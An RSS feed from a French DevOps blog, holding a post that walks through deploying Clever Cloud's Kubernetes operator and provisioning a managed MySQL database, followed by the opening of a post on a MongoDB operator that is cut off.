<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Operator on Zwindler's Reflection</title><link>https://blog.zwindler.fr/tags/operator/</link><description>Recent content in Operator on Zwindler's Reflection</description><generator>Hugo -- gohugo.io</generator><language>fr</language><copyright>Licensed under CC BY-SA 4.0</copyright><lastBuildDate>Tue, 17 May 2022 10:00:00 +0000</lastBuildDate><atom:link href="https://blog.zwindler.fr/tags/operator/index.xml" rel="self" type="application/rss+xml"/><item><title>Et si on testait le Clever Operator pour Kubernetes ?</title><link>https://blog.zwindler.fr/2022/05/17/et-si-on-testait-clever-kubernetes-operator/</link><pubDate>Tue, 17 May 2022 10:00:00 +0000</pubDate><guid>https://blog.zwindler.fr/2022/05/17/et-si-on-testait-clever-kubernetes-operator/</guid><description>&lt;img src="https://blog.zwindler.fr/2022/05/clever-trott.webp" alt="Featured image of post Et si on testait le Clever Operator pour Kubernetes ?" /&gt;&lt;h2 id="clever-operator"&gt;Clever Operator
&lt;/h2&gt;&lt;p&gt;Il y a quelques mois, je suis tombé sur cet article de Clever Cloud qui disait avoir &lt;a class="link" href="https://www.clever-cloud.com/fr/blog/fonctionnalites/2022/03/16/clever-operator/" target="_blank" rel="noopener"
&gt;annonçait la sortie de l&amp;rsquo;Operator pour Kubernetes&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nous avons commencé à travailler sur le Clever Operator suite aux retours de certains de nos clients utilisant k8s ou Openshift qui n’étaient pas vraiment satisfaits des solutions de gestion de base de données fournies par ces plateformes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;C&amp;rsquo;est pas un secret, j&amp;rsquo;ai beaucoup râlé sur les gens qui disent que Kubernetes c&amp;rsquo;est compliqué et/ou que ça apporte plus de problèmes que ça n&amp;rsquo;en résout (cf &lt;a class="link" href="https://blog.zwindler.fr/2019/09/03/concerning-kubernetes-combien-de-problemes-ces-stacks-ont-generes/%29" target="_blank" rel="noopener"
&gt;https://blog.zwindler.fr/2019/09/03/concerning-kubernetes-combien-de-problemes-ces-stacks-ont-generes/)&lt;/a&gt;. On en a notamment parle avec Quentin ADAM ;-).&lt;/p&gt;
&lt;p&gt;Mais ce que je ne disais pas clairement à cette époque, c&amp;rsquo;est que Kubernetes, c&amp;rsquo;est quand même plus simple quand il s&amp;rsquo;agit d&amp;rsquo;autonomiser les devs sur des workloads stateless.&lt;/p&gt;
&lt;p&gt;Ou alors du stateful, mais pas trop violent : genre stockage de fichiers (Prometheus par exemple), voire fichiers partagés (avec un FS distribué, partagé entre plusieurs apps ou instances d&amp;rsquo;une même app).&lt;/p&gt;
&lt;p&gt;Par contre, les bases de données, là, on rigole tout de suite beaucoup moins&amp;hellip;&lt;/p&gt;
&lt;p&gt;Attention, je ne dis pas que c&amp;rsquo;est impossible. Plein de gens le font, en prod (moi compris). Mais c&amp;rsquo;est tout de suite un autre niveau de complexité, car il faut gérer le cycle de vie de la base de données, les mises à jours, les pertes de noeuds proprement, etc.&lt;/p&gt;
&lt;p&gt;Pour faciliter ça, il existe les &amp;ldquo;Opérateurs&amp;rdquo; dans Kubernetes, qui ont pour but d&amp;rsquo;ajouter toute une logique fonctionnelle pour gérer ça (comme celui pour &lt;a class="link" href="https://blog.zwindler.fr/2020/09/28/mes-bases-mongodb-dans-kubernetes/" target="_blank" rel="noopener"
&gt;MongoDB dont je parle dans cet article&lt;/a&gt;), mais c&amp;rsquo;est pas encore parfait.&lt;/p&gt;
&lt;p&gt;Ajoutez à cela le fait que DBA, c&amp;rsquo;est un job &amp;ldquo;à part&amp;rdquo;, avec des compétences bien spécifiques et qui nécessite vraiment de savoir ce qu&amp;rsquo;on fait.&lt;/p&gt;
&lt;p&gt;Du coup&amp;hellip; j&amp;rsquo;aurais pu dire (en moins classe) :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Les DBs dans Kube, c&amp;rsquo;est ch**nt. Ca serait cool si quelqu&amp;rsquo;un dont c&amp;rsquo;est l&amp;rsquo;expertise pouvait gérer ça pour moi, en dehors de Kube.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Qui a dit &amp;ldquo;Clever Cloud&amp;rdquo; ?&lt;/p&gt;
&lt;h2 id="clever-operator-1"&gt;Clever Operator
&lt;/h2&gt;&lt;p&gt;Ok, admettons qu&amp;rsquo;on ait un Kubernetes fonctionnel. On va plugger Clever Cloud dessus pour voir ce qu&amp;rsquo;on peut faire. Le billet sur le blog de Clever indique 2 manières de déployer l&amp;rsquo;operator (plot twist, il y en a une 3ème qui est mieux).&lt;/p&gt;
&lt;p&gt;La première consiste à utiliser &lt;a class="link" href="https://operatorhub.io/" target="_blank" rel="noopener"
&gt;operatorhub.io&lt;/a&gt;, un site communautaire pour partager des opérateurs Kubernetes.&lt;/p&gt;
&lt;p&gt;Pour utiliser cette méthode, il faut déployer le &lt;code&gt;operator-lifecycle-manager&lt;/code&gt;, lui-même un opérateur, dans notre kubernetes. J&amp;rsquo;ai essayé et j&amp;rsquo;ai plein de critiques à faire sur ce tool.&lt;/p&gt;
&lt;p&gt;Déjà, la doc nous demande de faire un &lt;code&gt;curl | bash&lt;/code&gt; (déjà une hérésie en soit), ensuite, il se déploie sans prévenir sur mon contexte Kubernetes par défaut. Enfin, c&amp;rsquo;est pas bien clair ce qu&amp;rsquo;il faut faire pour le customiser (notamment pour ajouter nos credentials).&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai essayé 1h, j&amp;rsquo;ai laissé tomber, mais si vous avez l&amp;rsquo;habitude d&amp;rsquo;utiliser Operatorhub.io vous aurez peut être des infos que je n&amp;rsquo;ai pas.&lt;/p&gt;
&lt;p&gt;La seconde méthode proposée est de déployer (ou de builder) soit même le container Docker dans notre cluster Kubernetes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Vous pouvez le built à partir du code source sur Github ou utiliser notre image docker sur Docker Hub.
Puis, configurez le. Ça se résume à paramétrer les variables d’environnement CLEVER_OPERATOR_*. Par exemple, vous devez créer un token pour vous connecter à l’API.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je suis un poil sceptique sur le &amp;ldquo;ça se résume à&amp;rdquo; 😏.&lt;/p&gt;
&lt;p&gt;Quand on va voir le code du clever operator (&lt;a class="link" href="https://github.com/CleverCloud/clever-operator/tree/main/deployments/kubernetes/v1.21.0" target="_blank" rel="noopener"
&gt;ici&lt;/a&gt;), on se rend tout de suite compte qu&amp;rsquo;il va falloir déployer &lt;strong&gt;beaucoup&lt;/strong&gt; de ressources Kube et pas juste un container (~650 lignes de YAML).&lt;/p&gt;
&lt;p&gt;En même temps c&amp;rsquo;est logique, il y a le fichier du &lt;code&gt;Deployment&lt;/code&gt;, des &lt;code&gt;Roles&lt;/code&gt;, plusieurs définitions de &lt;code&gt;CRDs&lt;/code&gt;, bref&amp;hellip;&lt;/p&gt;
&lt;h2 id="diy"&gt;DIY
&lt;/h2&gt;&lt;p&gt;Edit du 24/05 : depuis la rédaction de l&amp;rsquo;article, j&amp;rsquo;ai proposé une PR à Florentin (le dev de la feature chez Clever) pour ajouter une Helm Chart. Le principe est le même, on va devoir renseigner des valeurs dans values.yaml donc vous pouvez quand même dérouler l&amp;rsquo;article.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-console" data-lang="console"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;cd deployments/kubernetes/helm
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;helm install clever-operator -n clever-operator --create-namespace -f values.yaml .
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Du coup, j&amp;rsquo;ai déjà spoilé la solution (qui est d&amp;rsquo;ailleurs mise en avant dans le README.md du &lt;a class="link" href="https://github.com/CleverCloud/clever-operator/blob/main/deployments/kubernetes/v1.21.0/10-custom-resource-definition.yaml" target="_blank" rel="noopener"
&gt;dépot Github.com&lt;/a&gt;). On va déployer le YAML à la main.&lt;/p&gt;
&lt;p&gt;On installe les &lt;code&gt;CRDs&lt;/code&gt; :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-console" data-lang="console"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;kubectl apply -f https://raw.githubusercontent.com/CleverCloud/clever-operator/main/deployments/kubernetes/v1.21.0/10-custom-resource-definition.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;customresourcedefinition.apiextensions.k8s.io/postgresqls.api.clever-cloud.com configured
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;customresourcedefinition.apiextensions.k8s.io/redis.api.clever-cloud.com configured
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;customresourcedefinition.apiextensions.k8s.io/mysqls.api.clever-cloud.com configured
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;customresourcedefinition.apiextensions.k8s.io/mongodbs.api.clever-cloud.com configured
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;customresourcedefinition.apiextensions.k8s.io/pulsars.api.clever-cloud.com configured
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;customresourcedefinition.apiextensions.k8s.io/configproviders.api.clever-cloud.com configured
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;customresourcedefinition.apiextensions.k8s.io/elasticsearches.api.clever-cloud.com configured
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;kubectl api-resources --api-group=api.clever-cloud.com
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; NAME SHORTNAMES APIVERSION NAMESPACED KIND
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; mongodbs mo api.clever-cloud.com/v1 true MongoDb
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; mysqls my api.clever-cloud.com/v1 true MySql
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; postgresqls pg api.clever-cloud.com/v1 true PostgreSql
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; pulsars pulse,pul api.clever-cloud.com/v1beta1 true Pulsar
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; redis r api.clever-cloud.com/v1 true Redis
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si je peux me permettre ce commentaire, je trouve ça audacieux, ces shortnames 😱&amp;hellip; Attention aux collisions avec d&amp;rsquo;autres CRDs 🤔.&lt;/p&gt;
&lt;p&gt;Et ensuite on récupère et on va modifier le fichier du &lt;code&gt;Deployment&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -LO https://raw.githubusercontent.com/CleverCloud/clever-operator/main/deployments/kubernetes/v1.21.0/20-deployment.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="préparer-la-configuration"&gt;Préparer la configuration
&lt;/h2&gt;&lt;p&gt;Bon, à un moment donné, il va bien falloir que je connecte l&amp;rsquo;API clever cloud avec mon operator, notamment en renseignant les fameuses variables d’environnement &lt;code&gt;CLEVER_OPERATOR_*&lt;/code&gt; dont parle l&amp;rsquo;article.&lt;/p&gt;
&lt;p&gt;Si on regarde la tête de notre fichier &lt;code&gt;20-deployment.yaml&lt;/code&gt;, on remarque qu&amp;rsquo;il existe une ressource &lt;code&gt;ConfigMap&lt;/code&gt; prévue pour renseigner les credentials (ligne 100).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;---
apiVersion: v1
kind: ConfigMap
metadata:
namespace: clever-operator-system
name: clever-operator-configuration
data:
config.toml: |
[api]
token = &amp;#34;&amp;#34;
secret = &amp;#34;&amp;#34;
consumerKey = &amp;#34;&amp;#34;
consumerSecret = &amp;#34;&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si vous êtes curieux (c&amp;rsquo;est mon cas), ce volume est ensuite appelé dans le &lt;code&gt;Deployment&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; volumes:
- name: config
configMap:
name: clever-operator-configuration
items:
- key: &amp;#34;config.toml&amp;#34;
path: &amp;#34;config.toml&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Puis monté dans la spec du template de container&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; volumeMounts:
- name: config
mountPath: &amp;#34;/etc/clever-operator&amp;#34;
readOnly: true
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note : Idéalement, on voudra éviter de faire ça, dans la vraie vie. Les &lt;code&gt;ConfigMaps&lt;/code&gt; (comme les &lt;code&gt;Secrets&lt;/code&gt;) dans Kubernetes sont lisibles par beaucoup de monde (la seule différence pour les &lt;code&gt;Secrets&lt;/code&gt;, c&amp;rsquo;est que les chaines de caractères sont &lt;em&gt;base64ifiée&lt;/em&gt;. Si si, c&amp;rsquo;est dans le dico, &amp;ldquo;base64ifier&amp;rdquo;) et donc absolument pas adaptés pour la gestion de &lt;em&gt;secrets&lt;/em&gt;.
On pourrait aussi ajouter ces secrets comme variables d&amp;rsquo;environnement dans le &lt;code&gt;Deployment&lt;/code&gt; (comme proposé dans la méthode 2 par l&amp;rsquo;article), mais c&amp;rsquo;est pire (on peut en débattre) encore niveau sécu.
Idéalement, il faudra injecter ces valeurs avec un gestionnaire de secret tier, comme &lt;a class="link" href="https://blog.zwindler.fr/2020/08/31/gerez-vos-secrets-kubernetes-dans-vault" &gt;Vault par exemple&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="mais-où-on-les-trouve-ces-valeurs-à-renseigner-"&gt;Mais où on les trouve, ces valeurs à renseigner ?
&lt;/h2&gt;&lt;p&gt;Alors je n&amp;rsquo;avais jamais utilisé Clever Cloud avant, donc ça n&amp;rsquo;était pas super évident pour moi 😅.&lt;/p&gt;
&lt;p&gt;On va d&amp;rsquo;abord devoir créer une &lt;strong&gt;organisation&lt;/strong&gt; et récupérer son ID (en haut à droite de l&amp;rsquo;interface). Elle a la forme &lt;code&gt;orga_xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxx&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Pour la partie &lt;strong&gt;consumerKey&lt;/strong&gt; et &lt;strong&gt;consumerSecret&lt;/strong&gt;, j&amp;rsquo;ai trouvé avec la documentation officielle. Dans mon organisation côté UI de Clever Cloud, on peut cliquer sur &amp;ldquo;Create&amp;hellip; / an oauth consumer&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2022/05/oauth_consumer.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;Pour la partie &lt;strong&gt;token&lt;/strong&gt; et &lt;strong&gt;secret&lt;/strong&gt;, je n&amp;rsquo;ai pas trouvé comment en créer un en console web et je n&amp;rsquo;ai pas trouvé dans la doc.&lt;/p&gt;
&lt;p&gt;En bidouillant un peu (monkey testing), j&amp;rsquo;ai trouvé qu&amp;rsquo;on pouvait en récupérer en utilisant la &lt;a class="link" href="https://www.clever-cloud.com/doc/getting-started/cli/" target="_blank" rel="noopener"
&gt;CLI de clever cloud&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-console" data-lang="console"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;curl -fsSL https://clever-tools.clever-cloud.com/gpg/cc-nexus-deb.public.gpg.key | gpg --dearmor -o /usr/share/keyrings/cc-nexus-deb.gpg
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;echo &amp;#34;deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/cc-nexus-deb.gpg] https://nexus.clever-cloud.com/repository/deb stable main&amp;#34; | tee -a /etc/apt/sources.list
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;sudo apt-get install clever-tools
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;clever login
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;Opening https://console.clever-cloud.com/cli-oauth?cli_version=2.9.1&amp;amp;cli_token=... in your browser to log you in…
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;We&amp;#39;re still waiting for the login process (in your browser) to be completed…
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;Login successful as Denis GERMAIN &amp;lt;...&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Une fenêtre de navigateur s&amp;rsquo;ouvre pour se loguer et magie magie, on a un &lt;strong&gt;token&lt;/strong&gt; et un &lt;strong&gt;secret&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;CLEVER_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;aaa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;CLEVER_SECRET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;aaa
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tadaa !&lt;/p&gt;
&lt;h2 id="deployer-lopérateur"&gt;Deployer l&amp;rsquo;opérateur
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Tout est prêt, allons-y.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On peut apply le manifest et déployer le deployment&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-console" data-lang="console"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;kubectl apply -f 20-deployment.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;namespace/clever-operator-system created
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;serviceaccount/clever-operator created
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;clusterrole.rbac.authorization.k8s.io/system:clever-operator created
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;clusterrolebinding.rbac.authorization.k8s.io/system:clever-operator created
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;poddisruptionbudget.policy/clever-operator created
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;networkpolicy.networking.k8s.io/clever-operator created
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;configmap/clever-operator-configuration created
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;deployment.apps/clever-operator created
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;del&gt;Note: la dernière version de l&amp;rsquo;image Docker du Clever Operator a &amp;ldquo;un bug&amp;rdquo; du à une version trop ancienne de la GLIBC. Florentin de chez Clever est en discussion avec Redhat pour fix ça (`GLIBC_2.29&amp;rsquo; not found).&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;del&gt;Il &amp;ldquo;suffit&amp;rdquo; de prendre une version plus ancienne de l&amp;rsquo;image et ça remarche, en attendant un fix définitif.&lt;/del&gt; (FIXED)&lt;/p&gt;
&lt;h2 id="on-teste-tout-ça"&gt;On teste tout ça
&lt;/h2&gt;&lt;p&gt;Normalement, là on est bons.&lt;/p&gt;
&lt;p&gt;Dans la liste des bases (des add-ons dans la terminology Clever Cloud) supportées par ce operator, il y a donc :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ElasticSearch&lt;/li&gt;
&lt;li&gt;MongoDb&lt;/li&gt;
&lt;li&gt;MySql&lt;/li&gt;
&lt;li&gt;PostgreSql&lt;/li&gt;
&lt;li&gt;Pulsar&lt;/li&gt;
&lt;li&gt;Redis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La documentation des CRDs &lt;a class="link" href="https://github.com/CleverCloud/clever-operator/blob/main/docs/40-custom-resources.md" target="_blank" rel="noopener"
&gt;est disponible ici&lt;/a&gt; et elle est bien faite.&lt;/p&gt;
&lt;p&gt;Je ferai des tests plus poussés (déployer une vraie application) plus tard, mais déjà pour tester, j&amp;rsquo;ai pu lancer un mysql managée;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cat mysql.yml
---
apiVersion: api.clever-cloud.com/v1
kind: MySql
metadata:
namespace: default
name: mysql
spec:
organisation: orga_xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxx
options:
version: 80
encryption: false
instance:
region: par
plan: dev
kubectl apply -f mysql.yml
mysql.api.clever-cloud.com/mysql created
kubectl get my
NAME AGE
mysql 14s
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2022/05/db_clever.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;opérateur a également la gentillesse de nous créer un &lt;code&gt;Secret&lt;/code&gt; avec les variables de connexion. C&amp;rsquo;est donc hyper simple de relier notre app à notre nouvelle DB :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-console" data-lang="console"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;kubectl get secret mysql-secrets -o yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;apiVersion: v1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;data:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; MYSQL_ADDON_DB: aaa=
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; MYSQL_ADDON_HOST: aaa==
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; MYSQL_ADDON_PASSWORD: aaa=
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; MYSQL_ADDON_PORT: aaa==
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; MYSQL_ADDON_URI: aaa==
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; MYSQL_ADDON_USER: aaa==
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt; MYSQL_ADDON_VERSION: aaa
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;kind: Secret
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;kubectl run -it mysqlclient --image mysql /bin/bash
root@mysqlclient:/# mysql aaa --host aaa-mysql.services.clever-cloud.com --user aaa -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
[...]
mysql&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="conclusion"&gt;Conclusion
&lt;/h2&gt;&lt;p&gt;J&amp;rsquo;ai été très content de tester cet operator, et surtout de pouvoir échanger avec son développeur, Florentin DUBOIS, qui m&amp;rsquo;a aidé et à qui j&amp;rsquo;ai pu remonter quelques petits défauts de jeunesse de l&amp;rsquo;outil.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;intégration entre Clever et Kubernetes marche vraiment bien, c&amp;rsquo;est fluide. La documentation des &lt;code&gt;CRDs&lt;/code&gt; est bien faite, on est pas perdus. Enfin, la génération à la volée du &lt;code&gt;Secret&lt;/code&gt; contenant les informations de connexion directement dans Kubernetes est vraiment une fonctionnalité bien pratique, puisqu&amp;rsquo;on voudra souvent monter directement les informations qu&amp;rsquo;il contient dans un &lt;code&gt;Pod&lt;/code&gt; du même namespace.&lt;/p&gt;
&lt;p&gt;&lt;del&gt;De mon point de vue, il manque une Chart Helm, pour rentre le déploiement simple et flexible de l&amp;rsquo;opérateur, et sans trop spoiler ça devrait arriver bientôt ;-).&lt;/del&gt; (FIXED)&lt;/p&gt;
&lt;p&gt;A moi le pouvoir tout puissant des bases de données que je n&amp;rsquo;ai pas à gérer !&lt;/p&gt;</description></item><item><title>Mes bases MongoDB dans Kubernetes</title><link>https://blog.zwindler.fr/2020/09/28/mes-bases-mongodb-dans-kubernetes/</link><pubDate>Mon, 28 Sep 2020 06:15:00 +0000</pubDate><guid>https://blog.zwindler.fr/2020/09/28/mes-bases-mongodb-dans-kubernetes/</guid><description>&lt;img src="https://blog.zwindler.fr/2020/09/mongodb_operator.webp" alt="Featured image of post Mes bases MongoDB dans Kubernetes" /&gt;&lt;h2 id="introduction"&gt;Introduction
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;NON MAIS T’ES MALADE OÙ QUOI ? Une base de données (MongoDB en plus, du NoSQL) dans Kubernetes&amp;hellip; N’importe quoi ! Les containers c’est pour du Stateless seulement.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si j’avais écris cet article en 2017, c’est probablement 98% des commentaires que j’aurai reçu ;)&lt;/p&gt;
&lt;p&gt;Vous l’avez compris, aujourd’hui, je vais vous présenter le &lt;strong&gt;MongoDB Kubernetes Operator&lt;/strong&gt;, l’outil officiel de chez Mongo qui permet de déployer à tour de bras des bases de données NoSQL dans vos clusters Kubernetes.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2020/09/go_wrong.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;Note: Pour ceux qui ne l’ont pas, on parle d’&lt;a class="link" href="https://kubernetes.io/docs/concepts/extend-kubernetes/operator/" target="_blank" rel="noopener"
